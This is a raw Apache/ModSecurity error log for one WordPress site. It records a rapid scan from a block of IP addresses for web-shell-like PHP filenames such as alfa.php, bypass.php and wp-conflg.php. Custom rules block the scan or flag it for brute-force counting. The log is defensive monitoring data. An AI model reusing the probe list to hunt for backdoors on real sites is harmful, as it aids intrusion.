[Wed Apr 22 22:10:21.516997 2026] [:error] [pid 9085:tid 9109] [client 45.86.202.9:51213] [client 45.86.202.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aejWzd-_-or9vQnlWnqvCQAAAVY"]
[Wed Apr 22 22:10:22.767949 2026] [:error] [pid 6384:tid 6405] [client 45.86.202.4:44567] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Wed Apr 22 22:10:23.044354 2026] [:error] [pid 6384:tid 6404] [client 45.86.202.4:44567] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Wed Apr 22 22:10:23.623689 2026] [:error] [pid 6384:tid 6394] [client 45.86.202.4:44567] [client 45.86.202.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aejWzz58M3t15ICeWHVuogAAAMc"]
[Wed Apr 22 22:10:24.740076 2026] [:error] [pid 9085:tid 9088] [client 45.86.202.49:52909] [client 45.86.202.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aejW0N-_-or9vQnlWnqvGAAAAUE"]
[Wed Apr 22 22:10:25.928486 2026] [:error] [pid 6344:tid 6358] [client 45.86.202.22:23495] [client 45.86.202.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aejW0UDOTF-pkQnDeUkJlQAAAAk"]
[Wed Apr 22 22:10:27.682455 2026] [:error] [pid 6250:tid 6254] [client 45.86.202.35:20339] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aejW0w-iZeQkqmQVfj4hMgAAAEA"]
[Wed Apr 22 22:10:29.397821 2026] [:error] [pid 6250:tid 6264] [client 45.86.202.29:45083] [client 45.86.202.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aejW1Q-iZeQkqmQVfj4hNgAAAEo"]
[Wed Apr 22 22:10:31.045735 2026] [:error] [pid 6344:tid 6370] [client 45.86.202.25:40385] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Wed Apr 22 22:10:31.357337 2026] [:error] [pid 6344:tid 6355] [client 45.86.202.25:40385] [client 45.86.202.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aejW10DOTF-pkQnDeUkJqgAAAAY"]
[Wed Apr 22 22:10:32.461372 2026] [:error] [pid 6384:tid 6391] [client 45.86.202.46:62367] [client 45.86.202.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aejW2D58M3t15ICeWHVupgAAAMQ"]
[Wed Apr 22 22:10:34.638698 2026] [:error] [pid 9085:tid 9096] [client 45.86.202.12:43955] [client 45.86.202.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aejW2t-_-or9vQnlWnqvQQAAAUk"]
[Wed Apr 22 22:10:36.207540 2026] [:error] [pid 6344:tid 6351] [client 45.86.202.1:41359] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Wed Apr 22 22:10:36.784395 2026] [:error] [pid 6344:tid 6360] [client 45.86.202.1:41359] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Wed Apr 22 22:10:37.963980 2026] [:error] [pid 6344:tid 6354] [client 45.86.202.1:41359] [client 45.86.202.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aejW3UDOTF-pkQnDeUkJtQAAAAU"]
[Wed Apr 22 22:10:39.927554 2026] [:error] [pid 6384:tid 6401] [client 45.86.202.24:60625] [client 45.86.202.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.24, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aejW3z58M3t15ICeWHVu1QAAAM4"]
[Wed Apr 22 22:10:40.252821 2026] [:error] [pid 6384:tid 6397] [client 45.86.202.24:60625] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Wed Apr 22 22:10:41.742356 2026] [:error] [pid 6384:tid 6387] [client 45.86.202.24:60625] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Wed Apr 22 22:10:43.474315 2026] [:error] [pid 6384:tid 6387] [client 45.86.202.24:60625] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Wed Apr 22 22:10:44.868382 2026] [:error] [pid 6384:tid 6390] [client 45.86.202.24:60625] [client 45.86.202.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aejW5D58M3t15ICeWHVu8AAAAMM"]
[Wed Apr 22 22:10:45.707880 2026] [:error] [pid 6250:tid 6270] [client 45.86.202.30:44615] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Wed Apr 22 22:10:45.973328 2026] [:error] [pid 6250:tid 6261] [client 45.86.202.30:44615] [client 45.86.202.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.30, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aejW5Q-iZeQkqmQVfj4hSwAAAEc"]
[Wed Apr 22 22:10:46.521995 2026] [:error] [pid 6250:tid 6277] [client 45.86.202.30:44615] [client 45.86.202.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "aejW5g-iZeQkqmQVfj4hTwAAAFc"]
[Wed Apr 22 22:10:48.194198 2026] [:error] [pid 6344:tid 6351] [client 45.86.202.1:40769] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Wed Apr 22 22:10:48.770286 2026] [:error] [pid 6344:tid 6370] [client 45.86.202.1:40769] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Wed Apr 22 22:10:49.317710 2026] [:error] [pid 6344:tid 6355] [client 45.86.202.1:40769] [client 45.86.202.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aejW6UDOTF-pkQnDeUkJwwAAAAY"]
[Wed Apr 22 22:10:49.904664 2026] [:error] [pid 23776:tid 23791] [client 45.86.202.7:48899] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Wed Apr 22 22:10:50.805443 2026] [:error] [pid 23776:tid 23780] [client 45.86.202.7:48899] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Wed Apr 22 22:10:51.410192 2026] [:error] [pid 23776:tid 23792] [client 45.86.202.7:48899] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Wed Apr 22 22:10:52.002596 2026] [:error] [pid 23776:tid 23788] [client 45.86.202.7:48899] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Wed Apr 22 22:10:52.279446 2026] [:error] [pid 23776:tid 23800] [client 45.86.202.7:48899] [client 45.86.202.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aejW7LRExf-1pAbSeJsULQAAAZY"]
[Wed Apr 22 22:10:52.897452 2026] [:error] [pid 6250:tid 6260] [client 45.86.202.13:48091] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Wed Apr 22 22:10:53.171872 2026] [:error] [pid 6250:tid 6257] [client 45.86.202.13:48091] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Wed Apr 22 22:10:53.444011 2026] [:error] [pid 6250:tid 6267] [client 45.86.202.13:48091] [client 45.86.202.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "aejW7Q-iZeQkqmQVfj4hXgAAAE0"]
[Wed Apr 22 22:10:54.312308 2026] [:error] [pid 6344:tid 6360] [client 45.86.202.32:28753] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Wed Apr 22 22:10:54.860014 2026] [:error] [pid 6344:tid 6370] [client 45.86.202.32:28753] [client 45.86.202.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.32, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aejW7kDOTF-pkQnDeUkJzwAAABU"]
[Wed Apr 22 22:10:55.145215 2026] [:error] [pid 6344:tid 6367] [client 45.86.202.32:28753] [client 45.86.202.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "aejW70DOTF-pkQnDeUkJ0QAAABI"]
[Wed Apr 22 22:10:58.832490 2026] [:error] [pid 6252:tid 6325] [client 45.86.202.1:49063] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Wed Apr 22 22:11:02.028944 2026] [:error] [pid 6252:tid 6329] [client 45.86.202.1:49063] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Wed Apr 22 22:11:02.303854 2026] [:error] [pid 6252:tid 6335] [client 45.86.202.1:49063] [client 45.86.202.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "aejW9utGYuiYb1nWBpRfMAAAARc"]
[Wed Apr 22 22:11:02.852943 2026] [:error] [pid 9085:tid 9110] [client 45.86.202.41:63989] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Wed Apr 22 22:11:03.701527 2026] [:error] [pid 9085:tid 9095] [client 45.86.202.41:63989] [client 45.86.202.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.86.202.41, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "aejW99-_-or9vQnlWnqvpwAAAUg"]
[Wed Apr 22 22:11:03.977146 2026] [:error] [pid 9085:tid 9100] [client 45.86.202.41:63989] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Wed Apr 22 22:11:04.250198 2026] [:error] [pid 9085:tid 9109] [client 45.86.202.41:63989] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Wed Apr 22 22:11:04.544013 2026] [:error] [pid 9085:tid 9103] [client 45.86.202.41:63989] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Wed Apr 22 22:11:04.834828 2026] [:error] [pid 9085:tid 9092] [client 45.86.202.41:63989] [client 45.86.202.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aejW-N-_-or9vQnlWnqvsAAAAUU"]
[Wed Apr 22 22:11:06.459750 2026] [:error] [pid 6344:tid 6358] [client 45.86.202.17:35633] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Wed Apr 22 22:11:06.730123 2026] [:error] [pid 6344:tid 6353] [client 45.86.202.17:35633] [client 45.86.202.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "aejW-kDOTF-pkQnDeUkJ5QAAAAQ"]
[Wed Apr 22 22:11:09.257538 2026] [:error] [pid 6384:tid 6399] [client 45.86.202.50:27941] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Wed Apr 22 22:11:09.549371 2026] [:error] [pid 6384:tid 6400] [client 45.86.202.50:27941] [client 45.86.202.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "aejW_T58M3t15ICeWHVvIgAAAM0"]
[Wed Apr 22 22:11:11.873938 2026] [:error] [pid 6384:tid 6392] [client 45.86.202.27:58815] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Wed Apr 22 22:11:12.161991 2026] [:error] [pid 6384:tid 6404] [client 45.86.202.27:58815] [client 45.86.202.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aejXAD58M3t15ICeWHVvKgAAANE"]
[Wed Apr 22 22:11:12.723383 2026] [:error] [pid 23776:tid 23794] [client 45.86.202.50:43127] [client 45.86.202.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aejXALRExf-1pAbSeJsUQwAAAZA"]
[Wed Apr 22 22:11:14.298341 2026] [:error] [pid 9085:tid 9092] [client 45.86.202.33:51135] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Wed Apr 22 22:11:14.573912 2026] [:error] [pid 9085:tid 9109] [client 45.86.202.33:51135] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Wed Apr 22 22:11:15.703895 2026] [:error] [pid 9085:tid 9108] [client 45.86.202.33:51135] [client 45.86.202.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aejXA9-_-or9vQnlWnqv4QAAAVU"]
[Wed Apr 22 22:11:16.565496 2026] [:error] [pid 9085:tid 9095] [client 45.86.202.1:41441] [client 45.86.202.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aejXBN-_-or9vQnlWnqv6wAAAUg"]
[Wed Apr 22 22:11:17.984463 2026] [:error] [pid 9085:tid 9106] [client 45.86.202.35:32039] [client 45.86.202.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "aejXBd-_-or9vQnlWnqv9wAAAVM"]
[Wed Apr 22 22:11:18.692939 2026] [:error] [pid 6384:tid 6395] [client 45.86.202.218:48891] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Wed Apr 22 22:11:19.268666 2026] [:error] [pid 6384:tid 6402] [client 45.86.202.218:48891] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Wed Apr 22 22:11:19.571917 2026] [:error] [pid 6384:tid 6411] [client 45.86.202.218:48891] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "aejXBz58M3t15ICeWHVvPwAAANg"]
[Wed Apr 22 22:11:20.309588 2026] [:error] [pid 9085:tid 9100] [client 45.86.202.46:42271] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Wed Apr 22 22:11:20.892895 2026] [:error] [pid 9085:tid 9111] [client 45.86.202.46:42271] [client 45.86.202.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "aejXCN-_-or9vQnlWnqwAAAAAVg"]
[Wed Apr 22 22:11:23.334170 2026] [:error] [pid 6250:tid 6274] [client 45.86.202.22:61061] [client 45.86.202.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "aejXCw-iZeQkqmQVfj4h3gAAAFQ"]
[Wed Apr 22 22:11:25.218281 2026] [:error] [pid 6384:tid 6395] [client 45.86.202.5:32295] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Wed Apr 22 22:11:26.114851 2026] [:error] [pid 6384:tid 6398] [client 45.86.202.5:32295] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Wed Apr 22 22:11:26.689304 2026] [:error] [pid 6384:tid 6396] [client 45.86.202.5:32295] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Wed Apr 22 22:11:26.990434 2026] [:error] [pid 6384:tid 6394] [client 45.86.202.5:32295] [client 45.86.202.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "aejXDj58M3t15ICeWHVvXQAAAMc"]
[Wed Apr 22 22:11:28.723953 2026] [:error] [pid 6384:tid 6398] [client 45.86.202.33:57117] [client 45.86.202.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "aejXED58M3t15ICeWHVvZAAAAMs"]
[Wed Apr 22 22:11:30.329471 2026] [:error] [pid 6344:tid 6351] [client 45.86.202.44:60657] [client 45.86.202.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "aejXEkDOTF-pkQnDeUkJ9wAAAAI"]
[Wed Apr 22 22:11:32.012061 2026] [:error] [pid 6384:tid 6407] [client 45.86.202.14:48757] [client 45.86.202.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "aejXFD58M3t15ICeWHVvcQAAANQ"]
[Wed Apr 22 22:11:32.572979 2026] [:error] [pid 6384:tid 6394] [client 45.86.202.33:50827] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Wed Apr 22 22:11:32.855591 2026] [:error] [pid 6384:tid 6390] [client 45.86.202.33:50827] [client 45.86.202.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "aejXFD58M3t15ICeWHVveAAAAMM"]
[Wed Apr 22 22:11:33.407428 2026] [:error] [pid 6344:tid 6366] [client 45.86.202.41:36227] [client 45.86.202.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aejXFUDOTF-pkQnDeUkJ_wAAABE"]
[Wed Apr 22 22:11:33.996361 2026] [:error] [pid 23776:tid 23783] [client 45.86.202.21:31227] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Wed Apr 22 22:11:34.580699 2026] [:error] [pid 23776:tid 23786] [client 45.86.202.21:31227] [client 45.86.202.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aejXFrRExf-1pAbSeJsUWgAAAYg"]
[Wed Apr 22 22:11:35.146587 2026] [:error] [pid 6344:tid 6349] [client 45.86.202.43:27109] [client 45.86.202.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aejXF0DOTF-pkQnDeUkKBgAAAAA"]
[Wed Apr 22 22:11:36.016180 2026] [:error] [pid 6252:tid 6325] [client 45.86.202.218:41581] [client 45.86.202.218] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aejXGOtGYuiYb1nWBpRfNwAAAQ0"]
